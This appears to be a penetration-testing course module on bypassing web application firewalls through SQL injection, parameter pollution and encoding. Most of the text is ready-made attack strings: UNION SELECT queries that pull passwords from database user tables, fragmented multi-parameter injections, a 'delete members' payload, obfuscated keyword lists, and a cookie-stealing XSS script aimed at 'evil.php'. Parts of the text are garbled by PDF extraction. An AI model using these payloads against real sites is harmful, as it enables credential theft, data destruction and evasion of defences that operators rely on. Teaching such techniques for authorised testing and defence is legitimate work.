WAF Bypassing with SQL Injection
HTTP Parameter Pollution & Encoding Techniques
HTTP
Parameter Pollution is an attack where we have the ability to override or add
HTTP GET/POST parameters by injecting string delimiters. HPP can be
distinguished in two categories, client-side and server-side, and the
exploitation of HPP can result in the following
outcomes:
TTP Parameter Pollution – PP
·
Override
existing hardcoded HTTP parameters
· Modify the application behaviors
· Access and potentially
exploit uncontrollable variables
· Bypass
input validation checkpoints and WAF
rules
WAFs, which is the topic of interest, many times perform
query string parsing before applying the filters to this string. This may
result in the execution of a payload that an HTTP request can carry. Some WAFs
analyze only one parameter from the string of the request, most of the times
the first or the last, which may result in a bypass of the WAF filters, and
execution of the payload in the server.
Let’s
examine the following HTTP Request from a user to the web application:
HttpRequest("http://server.com/servlet/actions","POST",
"action=transfer&amount="+
amount
+"&recipient="+ beneficiary);
Now, let’s change the request
to see the response of the server:
After this, the request
executed in the server will be:
action=transfer&amount=1000&recipient=Tom&action=withdraw
This
is a result of a WAF that didn’t correctly parse all the parameters of a
request, and now the user can supply specially crafted parameters, like the
“action=withdraw” in the example, and perform a malicious action in the server side.
Encoding Techniques
In all the
attacks we saw, and that we are going to see, a way to bypass many restrictions
is to encode our strings, and there are many ways to do this. Encoding is
useful, for example, in HPP that we saw
earlier, and we may trick a WAF that cannot normally be bypassed to allow us in
if it does not use decode schemes, or if it does not include encoded strings in
its filter rules. The same applies to SQL Injection and XSS attacks that we are
going to see later in this course.
As
you will see, there are many encoding types that may be supported from a
different layer of the server. So, a request that we may make will pass from
most of these layers, some of them will try to decode it. Our job here is to
find which decode method, or methods, the layer that we are attacking is using
and try to use others, or double encode our string to be able to bypass the
layer of our scope. Let’s examine some of the encoding methods.
URL Encoding (Hex Encoding)
URI standards permit URLs to
contain only the printable characters in the US-ASCII charset. Also, some
characters are restricted because they have special meaning in the URL scheme
or the HTTP Protocol. This scheme is mostly used to encode problematic characters,
like these with special meaning, so that they can be transported over HTTP
without any conflicts. This works by using the hex equivalent for certain
characters, such as %27 for ‘ or %3c for
<, which we can
understand by the % prefix,
followed by each character 2 digit ASCII code in hexadecimal. Some char- acters
that we may face are:
·
%3d – =
·
%25 – %
·
%20 – Space
·
%0a – New line
·
– Null byte
Let’s see an SQL example from part 3:
' union select
password from mySQL.user limit 1 /*
This SQL query string, URL encoded, will be like this:
%27%20union%20select%20password%20from%20mySQL.user%20limit%201%20%2F*
We
can easily encode and decode with this method with the following website: http://meyerweb.com/eric/tools/dencoder/
Null Bytes
Another rather simple way of
encoding is using a null byte () prior to any characters that the WAF filter
is blocking. For example, the SQL Query we used earlier will be:
' union select password from mySQL.user limit 1 /*
WAFs will commonly ignore
everything after the null but pass the entire string to the web server where it
is processed.
Inline
Comments
Adding
inline comments can help the string to bypass the WAFs filters and reach its
target. This is mostly used in SQL queries, where we can add comments in the
form of /*SELECT*/ or /**/SELECT/**/. For example,
the SQL query used earlier, will be:
'/**/union/**/select/**/password/**/from/**/mySQL.user/**/limit/**/1
Or, if we want to step it up a
bit, we can use ways like the following: '/**/uni/**/on/**/sel/**/ect/**/password/**/from/**/mySQL.user/**/limit/**/1
Where we can separate SQL keywords with comments.
White Spaces
Dropping a space or adding
spaces that won’t affect the SQL statement may be a good strategy in an attack
to bypass WAF filters. For example:
'or 1 = 1'
This statement could be:
‘or '1'='1'
Or even adding a special
character, like new line or tab that won’t change the SQL statement execution,
can be effective.
Keyword
Splitting
Here
we can change the way we sent the SQL queries in an SQL attack to WAF by
inserting a special character in the middle of a keyword that will be removed
by the WAF, and the query will be executed correctly in the final tar- get. The
previous example will be something like this:
' uni<on sel<ect password from
mySQL.user limit 1 /*
It is similar to the comment
way we saw earlier, but here if we determine a character that is blocked by the
WAF, we can use it for our advantage.
Character Encoding
Char() function in MySQL can be used to replace English char
variables. For example, let’s take the following example
that can be used for exploitation of the DVWA:
·
UNION select table_schema,table_name FROM information_Schema.tables where
ta- ble_schema = "dvwa" –
This statement with character
encoding will be:
·
UNION select table_schema,table_name FROM information_Schema.tables
where ta- ble_schema
=char(100,118,119,97) –
As
you can see here, we replaced the “dvwa” with char(100,118,119,97) which is the MySQL char() function that uses ASCII codes inside and we
use it to inject into MySQL without using double quotes that many times gets
filtered by WAFs. Char() also works on almost all other databases but
sometimes it can only hold one character at a time, like for example char(0x##)+char(0x##)+…So if the one way does not work for us, we have to
try an- other.
Chunked
transfer encoding
In this type of encoding, we
are sending the request we want in a series of chunks, or parts. This way can
help us split up malicious requests over multiple HTTP requests, so the
WAF cannot block the malicious request. This can be done using the Transfer-Encoding HTTP Header in place of the Content-Length header. The transfer-encoding header is used like this in an HTTP request:
Transfer-Encoding:
<chunked | compress |deflate | gzip | identity>
Keyword
Replacing
Many
times keywords themselves are blocked from the WAF. An encode way to bypass
this filter is by replacing the keywords
we use with others, so once the WAF strips the keyword, our desired keyword
will remain, and be executed in
the next layer. Taking our SQL example:
'
union selselectect password from mySQL.user limit 1 /*
Here
is an example that the WAF is blocking the select keyword. Once the query
passes and gets filtered, the mid- dle select keyword will be deleted and the
sel from the start and ect from the end will get merged and form a new select
keyword that will get executed in the server.
String Concatenation
With string concatenation, we can
break up SQL keywords and bypass WAF filter rules. Concatenation syntax varies
based on the database engine. For example, in a MS SQL engine, the select 1
statement can be changed as below
by using concatenation:
EXEC('SEL'
+ 'ECT 1')
As we will see in our examples, this is
an effective way to bypass WAFs.
Case Sensitivity
Many times, WAF
filters will fail to filter a malicious keyword from a supplied query if
the rules that it uses has case sensitive keywords. For example, if the WAF can block the keyword select in
lowercase and uppercase, but does only these controls, supplying something like
sElEcT will fail to be blocked, and will bypass the WAF. This applies to XSS attack too, and it can be used like
this:
<sCrItT type="text/javascript">
var adr = '../evil.php?cakemonster=' + escape(document.cookie);
</ScRipt>
Double
Encoding
As we said in the start of this
section, there are many layers that may exist until our malicious code reaches
its desti- nation. Until now, we examined single ways to encode our strings,
but what happens when more than one decode takes place in the chain? The answer
is simple, we encode more than one time.
Let’s take a scenario where the
web server does URL decoding but WAF also does URL decoding for security pur-
poses. Our SQL injection example this time will be:
%2527%2520union%2520select%2520password%2520from%2520mySQL.user%2520limit%25201%2520%25
2F*
This
string is the same as in our URL Encoding example but it has been encoded one
more time in the same way. In this situation and when the WAF decodes this
string, it will fail to block it, because it is still encoded and it cannot
find the malicious string. In the stage of the web server, the string will be
decoded again, and executed correctly.
The double encoding way can be used in
many situations and combinations. We have to fingerprint correctly the
server side and the WAF to be
able to know what decodes take place and perform the corresponding encodings.
Bypassing
WAF with SQL Injection
Until
now, most of our examples used SQL queries for WAF Bypassing. This happens
because the most com- mon attack used in WAF bypassing is SQL Injection. But
let’s start with SQL itself. SQL (acronym for Structured Query Language) is a
query language used in the design
and
management of databases. Most of the products used today are relational
databases, like SQL Server, MySQL and other. Databases have data stored inside
a table-like structure that has rows and columns.
The
queries that you may have seen many times in this course are strings that with
the use of select statement re- trieve data from the database in the call of
the client. Except for select, there are some other statements that are mostly
used in SQL Injection, which are the following:
·
INSERT Statement: INSERT statement is used to create a new row of data within a table. It is commonly
used when an application adds a new entry to an audit log, creates a new user account, or generates
a new
order.
• UPDATE Statement: UPDATE statement is used to modify one or more existing rows of data within a table. It is often used in functions where a user
changes the value of data that already exists in the database.
• DELETE Statement: DELETE statement
is used to delete one or more rows of data within a table of a data-
base.
There is one more common aspect
that is used widely in SQL injection
attacks, the UNION operator.
It is used to
combine the results of two or more SELECT
statements into a single result.
So, when a client application makes a
query to retrieve some data from
the server, the UNION operator can be used to add another SELECT statement and
have both select statements executed in the database. For example, let’s take
the following query:
SELECT * FROM users WHERE fname=’Tom’
Here the query is called to return
all the records from the table users that have the fname field equal to Tom.
(The * character is a wildcard in SQL and selects all the columns in a table)
Now, the use of the UNION operator in this query is pretty simple:
SELECT
* FROM users WHERE fname=’Tom’ UNION SELECT password FROM users –‘
Here,
the query does everything that it did earlier, and it adds in the results the
records of the passwords row in the users table. So, you can understand that by
supplying this UNION operator on a vulnerable web application that al- ready
supplies a query to the database, it will add the query of our choice in this
“equation”. Let’s now see what ex- actly is SQL Injection and how we can use it
in WAF Bypassing.
SQL
Injection
SQL Injection is a code injection attack where the
attacker supplies a malicious crafted query to the database with the intention
of data extraction from it. It is a really common
vulnerability, despite the fact that it is one of the older ones. To see how this
vulnerability works, imagine a search field in a website where we supply a
names, and it returns info about that
corresponding name. The database executes the following query:
SELECT
* FROM users WHERE name=’tom’;
If this database is vulnerable and we supply a ‘ it will return
an error because we will have the following results in the query:
SELECT
* FROM users WHERE name=’’’;
An example attack in this
situation would be:
SELECT
* FROM users WHERE name = 'tom' OR '1'='1' -- ';
Here we supplied
tom’ OR ‘1’=’1’—which resulted
in a logical expression that always results
as True, because 1=1 every time, and with the or operator, we need only one of the two to be true for the query
to return everything in the users table. The double
– symbol is added, so everything else after them is commented out and not
executed.
Blind
SQL Injection
Blind
SQL Injection is the most common type of SQL injec-
tion, and its difference from the simple one is that the re- sults of
this type of injection are not visible to the attacker.
The page will not display the results as in the previous example
but it will display them depending on the logical statement results that will
occur from our injection. It is a dif- ficult vulnerability to exploit because
it needs time to test many things one by one, and most of them will be unsuc-
cessful requests. Let’s take the
previous example with the name search field. In a situation like this, which is
the most common one in a penetration test, the query happens completely on the
server; we don’t know the names of the database, table, or fields, nor the query
string. In this situation, the simple 1=1 that we provided earlier,
will give us no result, and this is what a blind SQL injection
does.
This time we need to supply
something like this:
tom’ and 1=1—
As
you can see, here it is needed for both of the Boolean expressions to be true,
for tom to equal a record in the da- tabase and 1=1 to be true, which always happens. If this returns a
result, it means that it is vulnerable to Blind SQL Injection and we can
continue to fingerprint the database.
A good example on how to
continue would be:
Tom’ AND substring(@@version, 1, 1)=5
The
“substring(@@version,
1, 1)=5” part checks to see if the version of MySQL is
version 5 (through the “=5” check), and if it is running version 5 then the
page will just load normally because SQL will run without a prob- lem. And this is the way of blind
sql injection. We have to supply
questions to the database that if they are true, the page that corresponds to
the first part of the string that we supplied will load.
These types of attacks are tested
many times by automated tools, like sqlmap, but be careful, because these types
of tools are really noisy and can result in numerous junk reports in the
database you are testing, a thing that you surely don’t want.
Finally, after the MySQL fingerprinting
example we saw, there is another similar way to find and fingerprint an Oracle based database by submitting the following query in the
database:
SELECT
banner FROM v$version WHERE rownum=1
In
situations like these, not only can we retrieve information about the database
software, but the details about the version are also returned, so there is no
way to check for a specific version, but we can just supply the @@version in
the query for MySQL. If the underlying database is not up to date, new vectors
of attack, such as buffer overflows,could be explored.
It is also possible to exploit the
vulnerability with the method of blind-SQL Injection by replacing SQL functions
that get to WAF filter rules with their synonyms. For example:
·
substring() ->
mid(), substr(), etc
·
ascii()
-> hex(), bin(), etc
·
benchmark()
-> sleep()
Let’s now see some examples of filter rule bypass on WAF, with
SQL Injection.
WAF Filter Rules Bypass with SQL Injection
As
we said, filter rules are the main aspect of security of a WAF, and we need to be able to bypass them
if a WAF ex- ists in front of a server we want to scan. Now, let’s say that we are testing the http://website.com/?id=1 which
has the parameter ?id=1 and it seems vulnerable from our basic
steps. A first way to supply a query that
gives us the filter rule is a simple one like:
/?id=1+union+(select+*+from+users)
Here the query is normal with
no encoding, and WAF detects it immediately and blocks us. Now, there are many ways to bypass this rules as we saw earlier, so let’s examine
some examples:
/?id=(1)union(select(1),mid(hash,1,32)from(users))
In this situation, we replace the substring() function with mid(),
which can have positive results, as many of the WAFs filter only a small amount of functions.
/?id=1+union+(select'1',concat(login,hash)from+passwords)
Here, we concatenate our string with the concat()
function, that may help us in situations that the WAF filters the whole query.
By concatenating it, we are sure that our query will not be blocked from this
type of filter.
/?id=(1)union(((((((select(*),hex(hash)from(passwords))))))))
Many WAFs filter only one layer
of brackets, so an effective way of bypass is to add more layers that will
trick the
WAF to think that there is
nothing malicious inside the bracket.
Now let’s see some real world filter bypass examples for industry
used WAFs.
PHPIDS - PHP Intrusion Detection System
PHPIDS (PHP Intrusion Detection System) is an open source PHP
Web Application Intrusion Detection System. Because of its nature, it is widely
known and used, and you can find it in many web servers. PHPIDS has some
default filter rules that you can find in its GitHub page. Now, let’s
perform our first attack in a system that uses a MySQL database:
/?id=1+union+select+user,password+from+mysql.user+where+user=1
Supplying this, the WAF blocks us, because as you can see, it is
pretty straight forward that we are supplying an SQL query. Let’s change this query to something like this:
/?id=1+union+select+user,password+from+mysql.user+limit+0,1
42
Here you can see that we changed the Where user=1
with the limit statement, which is used to retrieve records from one or more
tables in a database and limit the number of records returned based on a limit
value. So, even not knowing the rule, and changing the query like this, we now
know one of the rules.
Continuing,
let’s give a really simple but
powerful query we saw earlier, the 1 OR 1=1.
/?id=1+OR+1=1
We
can see here that the WAF blocks us, and it is normal as it is a pretty
standard and well known malicious query. But, its bypass is pretty easy too. We
just have to change the numbers with their hex equivalents to be able to by-
pass the WAF and reach the target SQL database:
/?id=1+OR+0x50=0x50
Finally, in version 0.6.1.1 of
PHPIDS that we are checking out, a bypass similar to the generic one we saw
earlier takes place, and if we replace the substring() function, with the mid()
one, we can bypass the firewall.
Mod_Security
the and 1=2 expression with the following:
In
mod_security’s 2.5.9 version, we have many filters that can be bypassed. Two of the common ones that we saw again until now are the substring – mid
alteration and the hex encoding of
the 1=1 expression. We
can also alternate
?id=1+and+5!=6
which will bypass the filter
correctly. Also, this WAF is filtering the drop statement that we can change
with this:
/?id=1;delete members
HPP
Exploitation with SQL Injection
We talked about
HTTP Parameter Pollution in the start of this module, and now that we have an
idea of the SQL In- jection attacks,
let’s combine them to exploit HPP. We have to start by saying that an HPP attack’s success de- pends on the environment of the application that we are
attacking. Now, the logic behind this attack is that we can
separate a query into many parts by adding parameters.
For example:
In the final destination, this query will be merged
and get executed by the server if the web site has the HPP Vulner- ability.
This vulnerability will look something like this in the SQL request code that a
web application performs:
SQL="select key from table where
id="+Request.QueryString("id")
And it
can be exploited by the logic we saw earlier:
/?id=1/**/union/*&id=*/select/*&id=*/tom/*&id=*/from/*&id=*/users
As you can understand, we used many &id
parameters to concatenate the query, and we used SQL comments to comment out
these parameters in the final SQL server destination. With this technique, only
the query is left in the end to be executed. So, combining the code that the
form executes and the query we supply in the parameter, we
have:
select key
from table where
id=1/**/union/*,*/select/*,*/pwd/*,*/from/*,*/usersLavakumarKuppan
HTTP
Parameter Fragmentation – HPF
HTTP Parameter fragmentation is similar to HPP but
with the addition that we are not using the same parameter again and again. In
HPF, we are attacking web pages that have more than one parameter, and the SQL
query we are trying to inject gets fragmented into as many pieces
as the numbers of the available parameters. An example of the
vulnerable code could be:
Query("select * from table where
a=".$_GET['a']." and b=".$_GET['b']); Query("select * from
table where a=".$_GET['a']." and b=".$_GET['b']." limit
".$_GET['c']);
As you can see, this page produces
a query with two parameters, a and b, and sends both of them to the server. By
supplying the following:
/?a=1+union+select+1,2/*
we
are commenting out all the following query from after the injected one, and
this request doesn’t allow anyone to conduct the attack, because we can see in
the vulnerable code that it has the AND operator, so it needs both the parameters.
To exploit code like this, we
can change our previous query to something like this:
/?a=1+union/*&b=*/select+1,2
Here you can see that we
are separating the query in both of the parameters, so the code gets True, as
both the parameters exist, and we add the SQL comment in the right places, so
the parameters will be commented out in the end, and the query will be merged
into one piece. The final query from the first vulnerable code, will be:
select * from table where a=1 union/* and b=*/select 1,2
Another example with more than
two parameters could be:
/?a=1+union/*&b=*/select+1,password/*&c=*/from+users—
The same applies here, with
three part fragmentation, because we have three parameters. The final SQL
parameter in this situation, will be:
select
* from table where a=1 union/* and b=*/select 1,pass/*limit */from users—
Bypassing
WAFs with SQL Injection Normalization
Many times
in the previous examples, we talked about normalization without really
mentioning it. Normalization is the process of adding comments and other
symbols that the WAF strips inside keywords that the WAF also strips, so the
final result will be our desired query that we
want to be executed in the database.
It is a really good WAF bypassing method, but we have to know some of the
filters that the WAF uses for
the attack to success.
In the example we saw earlier
that didn’t let anyone conduct an attack, due to filtering from the WAF
(/?a=1+union+select+1,2/*),
we can add the following:
/?a=1/*union*/union/*select*/select+1,2/*
If there is a corresponding
vulnerability here in the WAF, this request will be successfully performed in
the server. After being processed by WAF, the
request will become:
?a=1/*uniX
on*/union/*sel X ect*/select+1,2/*
This example
works in case of cleaning of dangerous traffic by the WAF, and not in case of
blocking the entire re- quest or the attack source. Similarly, the following
request doesn’t allow anyone to perform this query:
/?id=1+union+select+1,2,3/*
But
if we change it to something like this, and the WAF is vulnerable to
normalization techniques:
/?id=1+un/**/ion+sel/**/ect+1,2,3—
This
query will be executed completely in the SQL database, and it will look
something like this:
SELECT
* from table where id =1 union select 1,2,3—
This example works in case of excessive cleaning of
incoming data (replacement of a regular expression with the empty string). As
you can understand, instead of the /**/ comment symbol, any symbol sequence that WAF cuts off can be used (e.g., #####, ), but we have to know,
and we can find it out by fingerprinting the filter rules of the WAF.
Buffer Overflow + SQL Injection = Bypass WAF
For
those who don’t know, “a buffer overflow, or buffer overrun, is an anomaly
where a program, while writing data to a buffer, overruns the buffer’s boundary
and over- writes adjacent memory locations.” We can exploit this vulnerability
that exists in some WAFs that have special coding background.
WAF
Bypass with SQL Injection Examples
Let’s
close the section of SQL Injection WAF Bypass with some practical examples. As
we saw in the start, one of the most common ways of bypass is with encoding.
But we just saw encoding of a whole keyword, or even dou- ble encoding. If we
see that none of this works, we can
also advance
it a bit, and only encode a part of a keyword, and this is a way that not many
manufacturers have in mind. So, in this situation, we replace some characters
with their HEX(URL-encoded) equivalents. For example:
http://www.website.com/?id=15 /*!u%6eion*/ /*!se%6cect*/ 1,2
So now the
WAF will have the original and the hex encoded keyword in the filter rules, but
it is really difficult to have all the possible alterations inside, so trying a
different character each time can give us the golden ticket. As you can see
here, we just supplying union select, with some characters encoded to HEX.
Next, many
WAFs try to offer protection by adding some prototype or strange functions. Let’s take a firewall, for ex- ample, that replaces the apostrophe
symbol (‘) with whitespaces. Here we can add apostrophes
inside the key- words we want, to separate them and not get recognized by the WAF, as we saw in the keyword splitting
section.
The apostrophe is a commonly blocked character by
WAFs, because it usually causes problems with SQL databases. Now, in this
example, if the WAF filters and removes the apostrophe, the resulting query
will give 15 union select 1,2, and this is a pretty easy bypass that happens
really often. Some more examples that can give you ideas about how you can use
encoding cleverly to bypass WAFs can be seen below:
/*--*/union/*--*/select/*--*/ REVERSE(noinu)+REVERSE(tceles)
+UnIOn%0d%0aSeleCt%0d%0a
/%2A%2A/union/%2A%2A/select/%2A%2A/
%55nion(%53elect) union%20distinct%20select
%23?zen?%0Aunion
all%23zen%0A%23Zen%0Aselect
%55nion %53eLEct
As you can
see, the possibilities are endless, and WAF bypassing, when we are heading for
SQL Injection, stops only by our imagination. There are many things we can do,
many encoding schemes we can combine, and all these get multiplied when we have
deep knowledge of SQL Injection and queries and we can make many variations of
the same query.